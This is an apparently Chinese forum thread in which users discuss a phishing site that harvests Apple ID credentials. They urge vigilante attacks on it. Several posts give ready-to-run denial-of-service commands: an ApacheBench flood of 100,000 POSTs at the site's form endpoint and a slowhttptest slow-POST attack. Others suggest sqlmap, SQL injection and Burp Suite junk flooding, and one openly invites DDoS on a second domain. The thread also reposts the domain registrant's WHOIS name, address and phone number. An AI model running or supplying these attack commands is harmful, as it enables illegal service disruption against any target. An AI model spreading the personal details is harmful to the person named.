发现个骗取 Apple ID 密码的网站，大家留心！

有谁有兴趣去sqlmap一下吗..

已举报到360，其他平台要举报太麻烦了。。。

查IP看看能不能投诉到机房…

这域名也是醉了，看到页面后更醉！

我只能说非Verisign EV SSL请勿钓鱼

safari已经有了警告

那个确认按钮忘记修边了啊

chrome也已有警告

写了个假id假密码，提示错误后给我跳到了真icloud…

@rainy3636 你可以写一些骂人的话，或者不停的post垃圾上去，反正这些都会被记录到数据库，可以显著增加他们查对正确账号的时间成本。另外可以试试sql注入。

我觉得开burp suite爆破模式提交一些垃圾不错

这破网站居然还有移动版。。。

echo '[email protected]&sjpass=test' > p
ab -n 100000 -c 1000 -p p -T 'application/x-www-form-urlencoded' http://www.id-appleid-apple.com/Save.asp

默默地按下回车

@msg7086 这个好

@msg7086 DELETE FROM user WHERE sjname='[email protected]'

写脚本疯狂提交垃圾数据

Chrome 大红色的钓鱼诱骗提醒，还是蛮喜庆的。

已经蹦了，你们好厉害啊。

@msg7086 酷炫，又学到一招

但是为啥显示：
Benchmarking www.id-appleid-apple.com (be patient)
apr_socket_recv: Connection reset by peer (54)

来个py脚本吧？

这都是骗子用来给被盗的 Apple 手机钓鱼的，目的就是骗得机主的 Apple ID 和密码，以及密保信息。这种网站成本很低，做一个就转移了，很难打击。只能自己多多留心了

不知道这哥们是不是用真实信息注册的域名
Registrant Name: he yaolong
Registrant Organization: he yaolong
Registrant Street: yexianbaoanzhenliwuzhuangwuzu
Registrant City: pingdingshan
Registrant State/Province: Henan
Registrant Postal Code: 467200
Registrant Country: CN
Registrant Phone : +86.03756173999
Registrant Phone Ext:
Registrant Fax: +86.03756173999

哈哈，站长受不了了，域名都跳到百度了。。。

@m939594960 只是举个栗子罢了。请自行上伪真实数据。
再给你们一个玩法。
sudo aptitude install slowhttptest -y
slowhttptest -c 5000 -t POST -u http://www.id-appleid-apple.com/Save.asp -l 3600

OPENVZ慎用。请仅用于打击恶势力。

你们都把他们玩坏了好么

又发现了一个，欢迎大家 DDOS：

http://www.apple-id-scr.com/

系提示：或被Syn攻，查！

233333